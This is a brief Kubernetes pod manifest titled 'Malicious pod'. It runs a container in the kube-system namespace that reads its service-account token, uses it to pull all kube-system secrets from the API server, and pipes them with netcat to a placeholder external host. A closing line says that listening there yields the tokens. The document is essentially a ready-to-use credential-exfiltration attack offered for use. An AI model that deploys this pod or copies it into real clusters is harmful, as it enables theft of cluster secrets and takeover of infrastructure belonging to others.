Malicious pod

malicious-pod.yaml

malicious-pod.yaml
::::::::::::::
apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://<masternode>:443/api/v1/namespaces/kube-system/secrets; } | nc -nv <somethingreachable> 6666; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true


Run netcat on <somethingreachable> and you get the tokens